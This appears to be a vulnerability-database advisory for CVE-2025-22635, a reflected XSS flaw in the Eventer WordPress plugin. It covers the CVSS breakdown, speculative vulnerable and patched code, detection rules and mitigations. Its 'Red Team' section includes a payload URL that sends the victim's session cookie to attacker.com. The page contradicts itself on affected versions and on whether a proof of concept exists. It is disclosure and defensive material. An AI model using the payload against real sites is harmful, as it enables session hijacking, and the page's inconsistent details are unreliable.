CVE-2025-22635
Executive Summary
CVE-2025-22635 is a reflected Cross-Site Scripting (XSS) vulnerability in the Eventer plugin for WordPress, developed by imithemes. The vulnerability affects all versions from n/a through 3.9.9. It allows an unauthenticated attacker to inject arbitrary JavaScript into a web page via a crafted URL, which executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public proof-of-concept or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor for updates from the vendor (imithemes) and apply patches immediately when released. Since no patch is available, temporary mitigations such as Web Application Firewall (WAF) rules are recommended.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must click a crafted link
- Scope: Changed (S:C) – impact extends beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: High. Although user interaction is required, the low attack complexity and no privileges required make this a viable vector for phishing campaigns.
Deep Dive & Mechanics
The vulnerability resides in the Eventer plugin's improper neutralization of user-supplied input during web page generation. Specifically, the plugin fails to sanitize or escape certain parameters (likely $_GET or $_POST variables) before reflecting them in the HTTP response. An attacker can craft a URL containing malicious JavaScript, and when a victim clicks the link, the script executes in the victim's browser.
Root Cause: The plugin uses echo or print statements with unsanitized user input, such as:
echo $_GET['event_id'];
Instead of using WordPress's built-in escaping functions like esc_html() or esc_attr().
Attack Flow:
- Attacker crafts a malicious URL:
https://victim-site.com/?eventer_action=show&event_id=<script>alert('XSS')</script> - Victim clicks the link (e.g., via phishing email).
- The plugin reflects the
event_idparameter without sanitization. - The browser executes the injected script.
Vulnerable vs. Patched Code
Vulnerable Code (Eventer < 3.9.9):
// In some template or handler file
$event_id = $_GET['event_id'];
echo "<div class='event-details' data-id='$event_id'>";
Patched Code (Expected in 3.9.9+):
$event_id = isset($_GET['event_id']) ? intval($_GET['event_id']) : 0;
echo "<div class='event-details' data-id='" . esc_attr($event_id) . "'>";
The patch should use intval() for numeric fields and esc_attr() or esc_html() for all reflected output.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A WordPress site with Eventer plugin version < 3.9.9.
- A web browser or curl.
Exploit Steps:
- Identify a vulnerable parameter (e.g.,
event_id,eventer_action,category). - Craft a payload:
https://victim-site.com/?eventer_action=show&event_id=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Send the link to the victim via phishing or social engineering.
- The victim's browser executes the script, sending their session cookie to the attacker.
Example using curl (for testing):
curl -v "http://victim-site.com/?eventer_action=show&event_id=<script>alert(1)</script>"
Look for the reflected script in the response body.
Blue Team (Defensive)
Detection:
- Monitor web server logs for unusual query parameters containing
<script>,onerror,onload, etc. - Use WAF rules to block reflected XSS patterns.
Hunting Query (Splunk):
index=web sourcetype=access_combined uri_path="/" uri_query=*eventer_action* | search uri_query=*<script>* OR uri_query=*onerror* OR uri_query=*alert*
Lab Setup:
- Install WordPress and Eventer plugin version 3.9.8.
- Create a test page with the vulnerable parameter.
- Use a browser or curl to test the XSS.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP requests containing
eventer_actionparameter with<script>tags. - Outbound connections to attacker-controlled domains from the victim's browser.
- HTTP requests containing
- File IOCs:
- Modified WordPress core files (unlikely, but check for backdoors).
- Log IOCs:
- Web server logs showing
event_id=<script>...</script>patterns. - Error logs with JavaScript execution errors.
- Web server logs showing
Detection Engineering
YARA Rule
rule Detect_Eventer_XSS_Payload {
meta:
description = "Detects reflected XSS payloads targeting Eventer plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22635"
strings:
$payload1 = "eventer_action" ascii nocase
$payload2 = "<script>" ascii nocase
$payload3 = "onerror=" ascii nocase
$payload4 = "onload=" ascii nocase
condition:
all of ($payload*) and filesize < 10KB
}
Sigma Rule
title: Reflected XSS in Eventer Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts against Eventer plugin (CVE-2025-22635)
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'eventer_action'
- 'event_id'
cs-uri-query|re: '(?i)<script>|onerror=|onload='
condition: selection
falsepositives:
- Legitimate use of event parameters with similar patterns (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-22635 Eventer Reflected XSS Attempt"; flow:to_server; content:"eventer_action"; http_uri; nocase; content:"<script>"; http_uri; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not critical for operations.
- Apply a WAF rule to block requests containing
eventer_actionwith<script>oronerrorpatterns. - Monitor logs for exploitation attempts.
Long-term Fix:
- Update to Eventer version 3.9.9 or later once the vendor releases a patch.
- If no patch is available, consider replacing the plugin with an alternative.
Developer Guidance:
- Always use WordPress escaping functions:
esc_html(),esc_attr(),esc_url(). - Validate and sanitize all user inputs using
sanitize_text_field(),intval(), etc.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.